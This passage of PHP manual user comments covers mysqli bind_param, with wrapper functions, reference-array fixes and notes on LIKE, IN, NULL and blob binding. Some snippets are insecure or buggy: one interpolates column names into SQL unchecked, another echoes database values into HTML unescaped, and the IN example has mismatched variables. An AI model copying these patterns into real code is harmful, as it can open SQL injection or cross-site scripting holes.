        $stmt->execute();
        $result = $stmt->get_result();
        return $result;
    }
}
?>
bodek at ipsit dot bu dot edu 09-Apr-2021 02:01
Guido's class above is great ... but to avoid a warning for an unknown array key 0, you should replace:

$this->mbind_params = array();

with

$this->mbind_params = array("");

on two of the lines.
andersmmg at gmail dot com 29-Jan-2019 07:29
I sometimes forget that you can't put functions inside. For example:

If I wanted to use md5() on a value like so:
<?php
$stmt->bind_param("s",md5($val));
?>
If would not work. Because it uses the variables by binding them, you need to change them beforehand like this:
<?php
$val = md5($val);
$stmt->bind_param("s",$val);
?>
davidharrison at gmail dot com 16-Jul-2017 08:20
There are two solutions in this page for calling bind_param() via  call_user_func_array() that involve using a user-created function called refValues(), so that you can pass the parameters to bind_param() as references.

This works perfectly in PHP v5.3 (and I assume before), but since upgrading to PHP v7.1.7, the refValues() functions here no longer correctly convert the arrays to arrays of references. Instead you will get a warning:

"PHP Warning:  Parameter 3 to mysqli_stmt_bind_param() expected to be a reference, value given"

I believe this is because of changes to arrays and reference handling as noted in the "Migrating from PHP 5.6.x to PHP 7.0.x" guide in Backwards Incompatibilities (change: "foreach by-value operates on a copy of the array").

So in PHP v7.1.7 at least, the user-created function refValues() no longer returns an array of references but instead a normal array of values.

Changing the function definition of refValues() to accept the array as a reference seems to fix this - as intended it returns an array of references and thus bind_param() works as expected (although I haven't tested this super thoroughly to make sure there are no other ill effects, especially in older versions of PHP).

New refValues() definition is simply:

<?php
function refValues(&$arr) // Changed $arr to reference for PHP v7.1.7
{
    if (strnatcmp(phpversion(),'5.3') >= 0) //Reference is required for PHP 5.3+
    {
        $refs = array();
        foreach($arr as $key => $value)
            $refs[$key] = &$arr[$key];
        return $refs;
     }
     return $arr;
}
?>
Darky 10-Jul-2017 03:23
A small remark from what I tried:
- if you use prepared statements with bind_param and your query looks like
"SELECT user_id FROM users WHERE ... = ?" and then you bind an integer param to this, the user_ids you get will be casted to int. On the other hand, if you don't use prepared statements, but sth like "SELECT user_id FROM users WHERE ... = $var", where $var is an int, and just make the query, the fetched results will be strings. (e.g., at var_dump,  ["user_id"]=> string(1) "6" for some row)
This is just from what I observed in my project, hope it's correct.
asphp at dsgml dot com 22-Mar-2017 04:09
Instead of reflection or complicated ref assigning do this:

<?
mysqli_stmt_bind_param($stmt, ...$params);

//(Only works in php 5.6+)

//Example:

//$mysql is from mysqli_connect()
//$sql is the query
//$types is the type string eg 'ii'
//$params is an array of params
function execute($mysqli, $sql, $types, $params) {
    $stmt = mysqli_prepare($mysqli, $sql);
    mysqli_stmt_bind_param($stmt, $types, ...$params);
    mysqli_stmt_execute($stmt);
    return mysqli_stmt_get_result($stmt);
}
?>

You can have the types as the first element of the array as in the first example, or as a separate variable as in the second example.
accountant 16-Jan-2017 10:09
if bind_param() fails due to Number of elements in type definition string doesn't match number of bind variables. it triggers an E_WARNING error. and you will not find that error in $stmt->error property
Matze 10-Nov-2016 07:57
Hey Folks,

just wanted to mention that parameters can only be used for input data, NOT for Table, Columns or Database names.
That gave me a headache yesterday!
So this code will not work:

$searchtype = "Title";
$searchterm = "The Fellowship of the Ring: The Lord of the Rings";

$query =
"SELECT ISBN, Author, Title, Price
FROM books
WHERE ? = ?";

$mySql_stmt = $db->prepare($query);
$mySql_stmt->bind_param("ss" , $searchtype, $searchterm);
$mySql_stmt->execute();

In contrast, you will have to include the searchtype in ther query directly like this:

$searchtype = "Title";
$searchterm = "The Fellowship of the Ring: The Lord of the Rings";
$query =
"SELECT ISBN, Author, Title, Price
FROM books
WHERE $searchtype = ?";

$mySql_stmt = $db->prepare($query);
$mySql_stmt->bind_param("s", $searchterm);
$mySql_stmt->execute();

Hope that helps someone to have a peaceful nights sleep :)
travis at twooutrally dot com 06-Mar-2016 05:59
Parameter type matters more than you might think!

A cautionary tail to any who would seek to find less than thorough solutions for automating prepared statements. Take the following mysqli_stmt extension method for example.

<?php

public function param_type($param)
{
    if (ctype_digit((string) $param)
        return $param <= PHP_INT_MAX ? 'i' : 's';

    if (is_numeric($param))
        return 'd';

    return 's';
}

?>

At face value this seems like a perfectly straightforward and innocuous function. Something like this served as a small piece in a larger automation extension which dutifully served its purpose efficiently handling hundreds of thousands of queries a day.

Now I know what you're thinking: it doesn't handle blob types. Well we didn't work with blob types (and still don't) so that's never been an issue. This problem was far more insidious and ultimately pernicious than that.

So what went wrong? The problem began to surface when we started automating SELECT queries on a newly created index for a column designed to store telephone numbers. The column was of type VARCHAR but the data stored was always formatted as an integer. Not a problem when performing a write operation but as soon as we went to read from the table on this index everything went to hell.

We're not entirely sure, but as near as we can tell the act of binding a parameter to a VARCHAR index as 'i' instead of 's' on a read query is detrimental in the following way: MySQL will ignore the b-tree on the index and perform a full table scan. With smaller tables this may never present itself as a significant performance issue. When your tables get into the tens of millions of rows, however...
bboymarco 04-Aug-2015 12:14
I did for myself a really useful function (cause I didn't want to use eval() or reflection) that create for you a prepared statement with an indefinite number of parameters and return an indefinite number of result columns. Last two arguments are optional so when you don't have parameters to send to MySQL you can avoid them. I decided to share it here cause it may  be helpful and save some time and brainstorming:

function prepared_stmt($con, $query, $type = "", $param = array()){

    if($stmt = mysqli_prepare($con, $query)){

        $refarg = array($stmt, $type);//First two parameter of mysqli_stmt_bind_param

        foreach ($param as $key => $value)//create array of parameters' references

            $refarg[] =& $param[$key];

        if($type != "")//Jump instruction if argument $type is missing

            call_user_func_array("mysqli_stmt_bind_param", $refarg);//bind parameters with dinamic length

        if(mysqli_stmt_execute($stmt)){//check if execution go fine

            $cols = mysqli_field_count($con);//retrive the number of columns of the resultset

            $result = array_fill(0, $cols, NULL);//create an empty array with the same length of the columns

            $ref = array($stmt);//first argument of mysqli_stmt_bind_result

            foreach ($result as $key => $value)//create array of empty cells' references

                $ref[] =& $result[$key];

            call_user_func_array("mysqli_stmt_bind_result", $ref);//bind results with dinamic length

            return $ref;//return statement and columns references

        }//if

        else

            return false;

    }//if

    else

        return false;

}//prepared_stmt

Example of call:

$hello = prepared_stmt($con, "SELECT Example FROM table WHERE Col=?", "s", array("LOL");
//count($hello) is equal to 2
//$hello[0] Statement reference
//$hello[1] Example column field where to find values after fetching

while(mysqli_stmt_fetch($hello[0]))
         echo $hello[1] . "<br>";//This will print all value of the Example column
tomasz at marcinkowski dot pl 27-Mar-2014 03:46
When trying to bind a string param you get a "Number of variables doesn't match number of parameters in prepared statement" error, make sure you're not wrapping the question mark with quotes.

By mistake I had a query like:
SELECT something FROM table WHERE param_name = "?"

Binding it with <?php $stmt->bind('s', $param_value); ?> had been failing on me. All I had to do was to remove quotes around "?".
Hope this saves someone's time.
laurence dot mackenzie at stream dot com 08-Oct-2013 09:08
I just came across a very strange behaviour when using bind_param() with a reflection class.  I figured I ought to post it here to save anyone else who comes across it from banging their head against their desk for an hour (as I just did).

First, some background:  I have a set of classes,  one per file format (i.e. CSV, HTML table, etc), which import data from flat files to a temporary table in my database.  The class then transforms the data to 3NF.

I'm  using a reflection class to pass an array to mysqli->bind_param() because the column counts and types are variable.  The code (simplified) I am having issues with is:

<?php

/* Code that loops through the rows and columns in the
 * flat file and appends the MySQLi 'type' letter to the
 * $typeString variable and appends the actual value
 * to the $data array.  I left the code out because it's
 * (probably) not relevant and would bloat the post.
 */
$stmtInsert = $db->prepare('INSERT.....');
$typeString = 'ississis';
$data = array(1, 'two', 'three', 4, 'five', 'six', 7, 'eight');

/* Here's where the actual strangeness starts happening
 */

// Merge the parameter types with the parameter values
$data = array_merge((array) $typeString, $data);

// Create the reflection class
$ref = new \ReflectionClass('mysqli_stmt');

// Get the bind_param  method
$method = $ref->getMethod('bind_param');

// Invoke it with $data
$method->invokeArgs($stmtInsert, $data);

// Execute the statement
$stmtInsert->execute();

}
?>

Oddly, in one (and only one) case it started throwing "Warning: Parameter 41 to mysqli_stmt::bind_param() expected to be a reference, value given".  The reflection class throws an exception.  Other import sets using this code work just fine.  Parameter 41 is the last parameter.   Changing the affected code as follows resolves the issue:

<?php

$ref = new \ReflectionClass("mysqli_stmt");
$method = $ref->getMethod("bind_param");
$data[count($data)-1] = (string) $data[count($data)-1];
$method->invokeArgs($stmtInsert, $data);
$stmtInsert->execute();

?>

Not sure what's going on here, but like I said, hopefully this will keep the next person from thinking they're totally insane.
Guido 15-Oct-2012 07:43
Dear all,

I was searching for a class which supports multiple calls to bind_param, because I have scenarios where I build huge SQL statements over different functions with variable numbers of parameters. But I didn't found one. So I have just written up this little piece of code I would like to share with you. There is enough room to optimize these classes, but it shows the general idea. And for me it works. In mbind_param_do() it seems to depend from the PHP version if makeValuesReferenced() must be used or if $params can be used directly. In my case I have to use it.

The cool thing about this solution: You don't have to care about a lot if you are using my mbind_ functions or not. You may also use default bind_param and the execute will still work.

<?php

class db extends mysqli {
    public function prepare($query) {
        return new stmt($this,$query);
    }
}

class stmt extends mysqli_stmt {
    public function __construct($link, $query) {
        $this->mbind_reset();
        parent::__construct($link, $query);
    }

    public function mbind_reset() {
        unset($this->mbind_params);
        unset($this->mbind_types);
        $this->mbind_params = array();
        $this->mbind_types = array();
    }

    //use this one to bind params by reference
    public function mbind_param($type, &$param) {
        $this->mbind_types[0].= $type;
        $this->mbind_params[] = &$param;
    }

    //use this one to bin value directly, can be mixed with mbind_param()
    public function mbind_value($type, $param) {
        $this->mbind_types[0].= $type;
        $this->mbind_params[] = $param;
    }

    public function mbind_param_do() {
        $params = array_merge($this->mbind_types, $this->mbind_params);
        return call_user_func_array(array($this, 'bind_param'), $this->makeValuesReferenced($params));
    }

    private function makeValuesReferenced($arr){
        $refs = array();
        foreach($arr as $key => $value)
        $refs[$key] = &$arr[$key];
        return $refs;

    }

    public function execute() {
        if(count($this->mbind_params))
            $this->mbind_param_do();

        return parent::execute();
    }

    private $mbind_types = array();
    private $mbind_params = array();
}

$search1 = "test1";
$search2 = "test2";

$_db = new db("host","user","pass","database");
$query = "SELECT name FROM table WHERE col1=? AND col2=?";
$stmt = $_db->prepare($query);

$stmt->mbind_param('s',$search1);
//this second call is the cool thing!!!
$stmt->mbind_param('s',$search2);

$stmt->execute();

//this would still work!
//$search1 = "test1changed";
//$search2 = "test2changed";
//$stmt->execute();

...

$stmt->store_result();
$stmt->bind_result(...);
$stmt->fetch();
?>
xianrenb at gmail dot com 30-Sep-2012 06:52
It is believed that if one has specified 'b' in $types, the corresponding variable should be set to null, and one has to use mysqli_stmt::send_long_data() or mysqli_stmt_send_long_data() to send the blob, otherwise the blob value would be treated as empty.
nick9v at hotmail dot com 30-Jun-2012 10:12
When dealing with a dynamic number of field values while preparing a statement I find this class useful.

<?php
class BindParam{
    private $values = array(), $types = '';

    public function add( $type, &$value ){
        $this->values[] = $value;
        $this->types .= $type;
    }

    public function get(){
        return array_merge(array($this->types), $this->values);
    }
}
?>

Usage is pretty simple. Create an instance and use the add method to populate. When you're ready to execute simply use the get method.

<?php
$bindParam = new BindParam();
$qArray = array();

$use_part_1 = 1;
$use_part_2 = 1;
$use_part_3 = 1;

$query = 'SELECT * FROM users WHERE ';
if($use_part_1){
    $qArray[] = 'hair_color = ?';
    $bindParam->add('s', 'red');
}
if($use_part_2){
    $qArray[] = 'age = ?';
    $bindParam->add('i', 25);
}
if($use_part_3){
    $qArray[] = 'balance = ?';
    $bindParam->add('d', 50.00);
}

$query .= implode(' OR ', $qArray);

//call_user_func_array( array($stm, 'bind_param'), $bindParam->get());

echo $query . '<br/>';
var_dump($bindParam->get());
?>

This gets you the result that looks something like this:

SELECT * FROM users WHERE hair_color = ? OR age = ? OR balance = ?
array(4) { [0]=> string(3) "sid" [1]=> string(3) "red" [2]=> int(25) [3]=> float(50) }

[Editor's note: changed BindParam::add() to accept $value by reference and thereby prevent a warning in newer versions of PHP.]
robstocki at battlesecure dot com 24-May-2012 10:22
Here is the procedural version of a select statement when wanting to use %LIKE% in the query and not an '=':
<?php
function db_connect(){
//    set $db as global for access outside function
    global $db;
    #    Use procedural methods for database connection and manipulation
//    Connect to Database
    @$db = mysqli_connect(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);

//    Check connection
    if(mysqli_connect_errno()) {
        echo '<br />Error: Could not connect to database.  Please try again later.<br />';
        exit;
    }

}

//    Connect to Database
    db_connect();

    $theRecordInTheTableIs = "%".$_POST['theRecordInTheTableIs']."%";    //    concat $_POST variable with % on each side for use in prepared statement
    $theRelatedRecordLooks = "%".$_POST['theRelatedRecordLooks']."%";    //    concat $_POST variable with % on each side for use in prepared statement

//    Create Query
    $q      =     '';        //    create variable for input
    $q     .=     " SELECT ";
    $q     .=     " * ";
    $q     .=     " FROM ";
    $q     .=     " myFavTable ";
    $q     .=     " WHERE ";
    $q    .=     " theRecordInTheTableIs LIKE ? ";
    $q    .=     " AND ";
    $q    .=     " theRelatedRecordLooks LIKE ? ";

//    Prepare the statement
    $stmt = mysqli_prepare($db, $q);

//    bind the paramaters
    mysqli_stmt_bind_param($stmt, 'ss', $theRecordInTheTableIs,$theRelatedRecordLooks);

//    Execute the query
    mysqli_stmt_execute($stmt);

// bind result variables
    mysqli_stmt_bind_result($stmt, $col0, $col1, $col2, $col3, $col4, $col5, $col6, $col7, $col8, $col9, $col10);

//    Display the query
//    start the table

echo '<table>
    <tr>
        <td>Col0 Title</td>
        <td>Col1 Title</td>
        <td>Col2 Title</td>
        <td>Col3 Title</td>
        <td>Col4 Title</td>
        <td>Col5 Title</td>
        <td>Col6 Title</td>
        <td>Col7 Title</td>
        <td>Col8 Title</td>
        <td>Col9 Title</td>
        <td>Col10 Title</td>
    </tr>';

// fetch values
    while (mysqli_stmt_fetch($stmt)) {
        echo "     <tr>
        <td>{$col0}</td>
        <td>{$col1}</td>
        <td>{$col2}</td>
        <td>{$col3}</td>
        <td>{$col4}</td>
        <td>{$col5}</td>
        <td>{$col6}</td>
        <td>{$col7}</td>
        <td>{$col8}</td>
        <td>{$col9}</td>
        <td>{$col10}</td>
    </tr> ";

    }

//    close the table
    echo '</table>';

?>
Darren 11-Jan-2012 04:00
For those learning mysqli::prepare and mysqli_stmt::bind_params for the first time, here is a commented block of code which executes prepared queries and returns data in a similar format to the return values of mysqli_query.  I tried to minimize unnecessary classes, objects, or overhead for two reasons:
1) facilitate learning
2) allow relativity interchangeable use with mysqli_query

My goal is to lower the learning curve for whoever is starting out with these family of functions.  I am by no means an expert coder/scripter, so I am sure there are improvements and perhaps a few bugs, but I hope not =)

<?php
/*
Function: mysqli_prepared_query()
  Executes prepared querys given query syntax, and bind parameters
  Returns data in array format

Arguments:
  mysqli_link
  mysqli_prepare query
  mysqli_stmt_bind_param argmuent list in the form array($typeDefinitinonString, $var1 [, mixed $... ])

Return values:
  When given SELECT, SHOW, DESCRIBE or EXPLAIN statements: returns table data in the form resultArray[row number][associated field name]
  Returns number of rows affacted when given other queries
  Returns FALSE on error
*/
function mysqli_prepared_query($link,$sql,$bindParams = FALSE){
  if($stmt = mysqli_prepare($link,$sql)){
    if ($bindParams){
      $bindParamsMethod = new ReflectionMethod('mysqli_stmt', 'bind_param');  //allows for call to mysqli_stmt->bind_param using variable argument list
      $bindParamsReferences = array();  //will act as arguments list for mysqli_stmt->bind_param

      $typeDefinitionString = array_shift($bindParams);
      foreach($bindParams as $key => $value){
        $bindParamsReferences[$key] = &$bindParams[$key];
      }

      array_unshift($bindParamsReferences,$typeDefinitionString); //returns typeDefinition as the first element of the string
      $bindParamsMethod->invokeArgs($stmt,$bindParamsReferences); //calls mysqli_stmt->bind_param suing $bindParamsRereferences as the argument list
    }
    if(mysqli_stmt_execute($stmt)){
      $resultMetaData = mysqli_stmt_result_metadata($stmt);
      if($resultMetaData){
        $stmtRow = array(); //this will be a result row returned from mysqli_stmt_fetch($stmt)
        $rowReferences = array();  //this will reference $stmtRow and be passed to mysqli_bind_results
        while ($field = mysqli_fetch_field($resultMetaData)) {
          $rowReferences[] = &$stmtRow[$field->name];
        }
        mysqli_free_result($resultMetaData);
        $bindResultMethod = new ReflectionMethod('mysqli_stmt', 'bind_result');
        $bindResultMethod->invokeArgs($stmt, $rowReferences); //calls mysqli_stmt_bind_result($stmt,[$rowReferences]) using object-oriented style
        $result = array();
        while(mysqli_stmt_fetch($stmt)){
          foreach($stmtRow as $key => $value){  //variables must be assigned by value, so $result[] = $stmtRow does not work (not really sure why, something with referencing in $stmtRow)
            $row[$key] = $value;
          }
          $result[] = $row;
        }
        mysqli_stmt_free_result($stmt);
      } else {
        $result = mysqli_stmt_affected_rows($stmt);
      }
      mysqli_stmt_close($stmt);
    } else {
      $result = FALSE;
    }
  } else {
    $result = FALSE;
  }
  return $result;
}

?>

Here's hoping the PHP gods don't smite me.
samishiikihaku23 at gmail dot com 30-Dec-2011 03:50
NOTES to new users! Or programmers like myself who learn the hard way!!!
Pay attention to the variables that are given in the function up above. ( string $types , mixed &$var1 [, mixed &$... ] ) . The example shows this too, but I personally didn't get it 'til trying to debug my code.

ITS REQUIRED TO PASS VARIABLES HERE. You can not pass straight data through here.

$stmt->bind('s','Something here'); Will error!!!

Just a clarification as to avoid another night like mine last night and this morning.
Ole Clausen 06-Nov-2011 11:50
A lot of newcommers to mysqli find it hard to get started. I have written this wrapper with object based response, that handles most of my queries. I hope it'll be usefull for others as well:

<?php
define('DB_HOST', 'localhost');
define('DB_USERNAME', '');
define('DB_PASSWORD', '');
define('DB_DEFAULT_DB', 'test');

function iQuery($sql, $arrParams, $arrBindNames=false) {
    $result = new stdClass();
    $mysqli = @new mysqli(DB_HOST, DB_USERNAME, DB_PASSWORD, DB_DEFAULT_DB);
    if (mysqli_connect_errno()) {
        $result->error = 'Connection failed: '.mysqli_connect_error();
        return $result;
    }
    if ($stmt = $mysqli->prepare($sql)) {
        $method = new ReflectionMethod('mysqli_stmt', 'bind_param');
        $method->invokeArgs($stmt, $arrParams);
        $stmt->execute();
        $meta = $stmt->result_metadata();
        if (!$meta) {
            $result->affected_rows = $stmt->affected_rows;
            $result->insert_id = $stmt->insert_id;
        } else {
            $stmt->store_result();
            $params = array();
            $row = array();
            if ($arrBindNames) {
                for ($i=0,$j=count($arrBindNames); $i<$j; $i++) {
                    $params[$i] = &$row[$arrBindNames[$i]];
                }
            } else {
                while ($field = $meta->fetch_field()) {
                    $params[] = &$row[$field->name];
                }
            }
            $meta->close();
            $method = new ReflectionMethod('mysqli_stmt', 'bind_result');
            $method->invokeArgs($stmt, $params);
            $result->rows = array();
            while ($stmt->fetch()) {
                $obj = new stdClass();
                foreach($row as $key => $val) {
                    $obj->{$key} = $val;
                }
                $result->rows[] = $obj;
            }
            $stmt->free_result();
        }
        $stmt->close();
    }
    $mysqli->close();
    return $result;
}

$arrParams = array('ss', $_POST['sex'], $_POST['active']);
$result = iQuery( 'SELECT * FROM `test_table` WHERE `sex`=? AND `active`=?', $arrParams);

print_r($result);
print $result->rows[1]->first_name . " " . $result->rows[1]->last_name;
?>

If $_POST['sex'] contains 'male' and $_POST['active'] contains 'yes' - and the field names are 'id', 'first_name', 'last_name', 'sex' and 'active', the printet result may look like this:

----------------------------------------------
stdClass Object
(
    [rows] => Array
        (
            [0] => stdClass Object
                (
                    [id] => 2
                    [first_name] => Peter
                    [last_name] => Johnson
                    [sex] => male
                    [active] => yes
                )

            [1] => stdClass Object
                (
                    [id] => 5
                    [first_name] => Ole
                    [last_name] => Clausen
                    [sex] => male
                    [active] => yes
                )

        )

)
Ole Clausen
----------------------------------------------

You can also apply special field names to the response, if you use the parameter $arrBindNames:

$arrParams = array('ss', $_POST['sex'], $_POST['active']);
$arrNames = array('foo_id', 'bar_first', 'baz_last', 'foo_sex', 'bar_act');
$result = iQuery( 'SELECT * FROM `test_table` WHERE `sex`=? AND `active`=?', $arrParams, $arrNames);

- a row would then look like this:

    [0] => stdClass Object
        (
            [foo_id] => 2
            [bar_first] => Peter
            [baz_last] => Johnson
            [foo_sex] => male
            [bar_act] => yes
        )

The first argument 'ss' in $arrParams states, that the two following arguments are of type String. The options are 's' for String, 'i' for Integer, 'd' for Double and 'b' for Blob (sent in packages).

In queries, that do not return a result INSERT, UPDATE, etc. $result->affected_rows and $result->insert_id are available. Connection errors are available in $result->error. Additional error handling would be nice, but is not implemented for now. Play with the wrapper and use print_r on the result ... enjoy!

The name 'iQuery'? Well, it handles mysql*i* - and then I guess it's kind of a tribute to Mr. Jobs ... may he 'rest' in energetic, hungry foolishness  =)

==
UPDATE: 08-NOV-2011 07:19

Due to changes in PHP 5.3 I encountered a problem with 'bind_param' in my iQuery function below. The values in the passed array *must* be references. The soloution is this function:

<?php
function getRefArray($a) {
    if (strnatcmp(phpversion(),'5.3')>=0) {
        $ret = array();
        foreach($a as $key => $val) {
            $ret[$key] = &$a[$key];
        }
        return $ret;
    }
    return $a;
}
?>

- and this change in iQuery:

        if ($stmt = $mysqli->prepare($sql)) {
            $arrParams = getRefArray($arrParams); // <-- Added due to changes since PHP 5.3
            $method = new ReflectionMethod('mysqli_stmt', 'bind_param');
            $method->invokeArgs($stmt, $arrParams);
            $stmt->execute();
            $meta = $stmt->result_metadata();
alex dot deleyn at gmail dot com 16-Jul-2011 06:50
MySQL has a "NULL-safe equal" operator (I'm guessing since 5.0)
http://dev.mysql.com/doc/refman/5.0/en/comparison-operators.html#operator_equal-to

If you use this operator instead of the usual = you can interchange values and null in where clauses.

There is however a known bug when using this operator with datetime or timestamp fields: http://bugs.mysql.com/bug.php?id=36100
jk at jankriedner dot de 20-May-2011 02:39
There are some things to note when working with mysqli::bind_param() and array-elements.
Re-assigning an array will break any references, no matter if the keys are identical.
You have to explicitly reassign every single value in an array, for the references to be kept.
Best shown in an example:
<?php
function getData() {
    return array(
        0=>array(
            "name"=>"test_0",
            "email"=>"test_0@example.com"
        ),
        1=>array(
            "name"=>"test_1",
            "email"=>"test_1@example.com"
        )
    );
}
$db  = new mysqli("localhost","root","","tests");
$sql = "INSERT INTO `user` SET `name`=?,`email`=?";
$res = $db->prepare($sql);
// If you bind array-elements to a prepared statement, the array has to be declared first with the used keys:
$arr = array("name"=>"","email"=>"");
$res->bind_param("ss",$arr['name'],$arr['email']);
//So far the introduction...

/*
    Example 1 (wont work as expected, creates two empty entries)
    Re-assigning the array in the while()-head generates a new array, whereas references from bind_param stick to the old array
*/
foreach( getData() as $arr ) {
    $res->execute();
}

/*
    Example 2 (will work as expected)
    Re-assigning every single value explicitly keeps the references alive
*/
foreach( getData() as $tempArr ) {
    foreach($tempArr as $k=>$v) {
        $arr[$k] = $v;
    }
    $res->execute();
}
?>
asb(.d o,t )han(a t)n i h e i(d.o_t)dk 22-Apr-2011 06:05
It should be noted that MySQL has some issues regarding the use of the IN clause in prepared statements.

I.e. the code:
<?php

$idArr = "1, 2, 3, 4";
$int_one = 1;
$int_two = 2;
$int_three = 3;
$int_four = 4;

$db = new MySQLi();
$bad_stmt = $db->prepare(SELECT `idAsLetters` FROM `tbl` WHERE `id` IN(?));
$bad_stmt->bind_param("s", $idArr);
$bad_stmt->bind_result($ias);
$bad_stmt->execute();

echo "Bad results:" . PHP_EOL;
while($stmt->fetch()){
   echo $ias . PHP_EOL;
}

$good_stmt->close();

$good_stmt = $db->prepare(SELECT `idAsLetters` FROM `tbl` WHERE `id` IN(?, ?, ?, ?));
$good_stmt->bind_param("iiii", $int_one, $int_two, $int_three, $int_four);
$good_stmt->bind_result($ias);
$good_stmt->execute();

echo "God results:" . PHP_EOL;
while($stmt->fetch()){
   echo $ias . PHP_EOL;
}
$bad_stmt->close();

$db->close();
?>
will print this result:

Bad results:
one

Good results:
one
two
three
four

Using "IN(?)" in a prepared statement will return just one (the first) row from a table/view. This is not an error in PHP, but merely how MySQL handles prepared statements.
Anonymous 28-Mar-2011 01:49
You can bind to variables with NULL values, and on update and insert queries, the corresponding field will be updated to NULL no matter what bind string type you associated it with.  But, for parameters meant for the WHERE clause (ie where field = ?), the query will have no effect and produce no results.

When comparing a value against NULL, the MYSQL syntax is either "value IS NULL" or "value IS NOT NULL".  So, you can't pass in something like "WHERE (value = ?)" and expect this to work using a null value parameter.

Instead, you can do something like this in your WHERE clause:

"WHERE (IF(ISNULL(?), field1 is null, field1 = ?))"

Then, pass in the value you want to test twice:

bind_param('ss', $value1, $value1);
Anonymous 14-Mar-2011 02:28
Blob and null handling aside, a couple of notes on how param values are automatically converted and forwarded on to the Mysql engine based on your type string argument:

1) PHP will automatically convert the value behind the scenes to the underlying type corresponding to your binding type string.  i.e.:

<?php

$var = true;
bind_param('i', $var); // forwarded to Mysql as 1

?>

2) Though PHP numbers cannot be reliably cast to (int) if larger than PHP_INT_MAX, behind the scenes, the value will be converted anyway to at most long long depending on the size.  This means that keeping in mind precision limits and avoiding manually casting the variable to (int) first, you can still use the 'i' binding type for larger numbers.  i.e.:

<?php

$var = '429496729479896';
bind_param('i', $var); // forwarded to Mysql as 429496729479900

?>

3) You can default to 's' for most parameter arguments in most cases.  The value will then be automatically cast to string on the back-end before being passed to the Mysql engine.  Mysql will then perform its own conversions with values it receives from PHP on execute.  This allows you to bind not only to larger numbers without concern for precision, but also to objects as long as that object has a '__toString' method.

This auto-string casting behavior greatly improves things like datetime handling.  For example: if you extended DateTime class to add a __toString method which outputs the datetime format expected by Mysql, you can just bind to that DateTime_Extended object using type 's'.  i.e.:

<?php

// DateTime_Extended has __toString defined to return the Mysql formatted datetime
$var = new DateTime_Extended;
bind_param('s', $var); // forwarded to Mysql as '2011-03-14 17:00:01'

?>
user at mail dot com 25-Jan-2011 12:44
I had a problem with the LIKE operator

This code did not work:

<?php
$test = $sql->prepare("SELECT name FROM names WHERE name LIKE %?%");
$test->bind_param("s", $myname);
?>

The solution is:

<?php
$test = $sql->prepare("SELECT name FROM names WHERE name LIKE ?");
$param = "%" . $myname . "%";
$test->bind_param("s", $param);
?>
canche_x at yahoo dot com 12-Nov-2010 04:43
Hi, I just write a function to do all my sql statements based on all the others comments in this page, maybe it can be useful for someone else :)

Usage:

execSQL($sql, $parameters, $close);

$sql = Statement to execute;
$parameters = array of type and values of the parameters (if any)
$close = true to close $stmt (in inserts) false to return an array with the values;

Examples:

execSQL("SELECT * FROM table WHERE id = ?", array('i', $id), false);

execSQL("SELECT * FROM table", array(), false);

execSQL("INSERT INTO table(id, name) VALUES (?,?)", array('ss', $id, $name), true);

<?php

function execSQL($sql, $params, $close){
           $mysqli = new mysqli("localhost", "user", "pass", "db");

           $stmt = $mysqli->prepare($sql) or die ("Failed to prepared the statement!");

           call_user_func_array(array($stmt, 'bind_param'), refValues($params));

           $stmt->execute();

           if($close){
               $result = $mysqli->affected_rows;
           } else {
               $meta = $stmt->result_metadata();

               while ( $field = $meta->fetch_field() ) {
                   $parameters[] = &$row[$field->name];
               }

            call_user_func_array(array($stmt, 'bind_result'), refValues($parameters));

            while ( $stmt->fetch() ) {
               $x = array();
               foreach( $row as $key => $val ) {
                  $x[$key] = $val;
               }
               $results[] = $x;
            }

            $result = $results;
           }

           $stmt->close();
           $mysqli->close();

           return  $result;
   }

    function refValues($arr){
        if (strnatcmp(phpversion(),'5.3') >= 0) //Reference is required for PHP 5.3+
        {
            $refs = array();
            foreach($arr as $key => $value)
                $refs[$key] = &$arr[$key];
            return $refs;
        }
        return $arr;
    }
?>

Regards
erik at gravyllc dot com 21-Sep-2010 09:05
WOW! Thanks for the code that fixed the issue with mysqli_stmt_bind_param and PHP 5.3+. Worth sharing again for people getting the error message that a reference was expected and a value was provided. Here's a snippet and the whole function that fixed it!

//Use it like this
call_user_func_array('mysqli_stmt_bind_param', array_merge (array($sql_stmt, $type), $this->refValues($param)));

function refValues($arr)
{
    if (strnatcmp(phpversion(),'5.3') >= 0) //Reference is required for PHP 5.3+
    {
        $refs = array();
        foreach($arr as $key => $value)
            $refs[$key] = &$arr[$key];
         return $refs;
     }
     return $arr;
}
Mark Reddin 08-Sep-2010 03:30
Miguel Hatrick's Statement_Parameter class, as posted in these notes, allows for a relatively painless way of writing secure dynamic SQL.  It is secure against SQL injection because we still use bind parameters for any content coming from the user.

For example, the following code constructs an insert statement, but looks at which query string (GET) parameters are present in order to figure out which columns should be included.  The ParameterManager.php file is simply Miguel's classes as posted in this discussion.

<?php
require_once("dbConnectionParams.php");
require_once("ParameterManager.php");

$sp = new Statement_Parameter();

$column_list = "";

$value_list = "";

if (isset ($_GET['name']) ) {
    $column_list = $column_list . "name,";
    $value_list = $value_list . "?,";
    $sp->Add_Parameter('name', Statement_Parameter_Type::$STATEMENT_TYPE_STRING);
    $sp->Set_Parameter('name',$_GET['name']);
}

if (isset($_GET['address']) ) {
    $column_list = $column_list . "address,";
    $value_list = $value_list . "?,";
    $sp->Add_Parameter('address', Statement_Parameter_Type::$STATEMENT_TYPE_STRING);
    $sp->Set_Parameter('address',$_GET['address']);
}

//tidy up column list and value list - the code above will always leave them ending in a comma, which we remove now
$column_list = substr($column_list, 0, strlen($column_list) -1);
$value_list = substr($value_list, 0, strlen($value_list) -1);

$sql = "insert into test_table (" . $column_list . ") values (" . $value_list . ");";

echo $sql;

$mysqli = @new mysqli($host,$user,$password,$database);
$stmt = $mysqli->prepare($sql);

$sp->Bind_Params($stmt);

if($stmt->execute() === TRUE)
{
    /*** assign the last insert id ***/
    $last_id = $mysqli->insert_id;
    echo "OK$last_id";
}
else {
    echo $mysqli->error;
}

?>
eisoft 18-Mar-2010 03:42
I did a prepared statement for inserting in a simple table - images ( blob ) and their unique identifiers ( string ). All my blobs have smaller sizes than the MAX-ALLOWED-PACKET value.

I've found that when binding my BLOB parameter, I need to pass it as a STRING, otherwise it's truncated to zero length in my table. So I have to do this:

<?php
   $ok = $stmt->bind_param( 'ss', $id, $im ) ;
?>
fabio at kidopi dot com dot br 15-Mar-2010 09:14
I used to have problems with call_user_func_array and bind_param after migrating to php 5.3.

The problem is that 5.3 requires array values as reference while 5.2 works with real values.

so i created a secondary function to help me with this...

<?php
function refValues($arr){
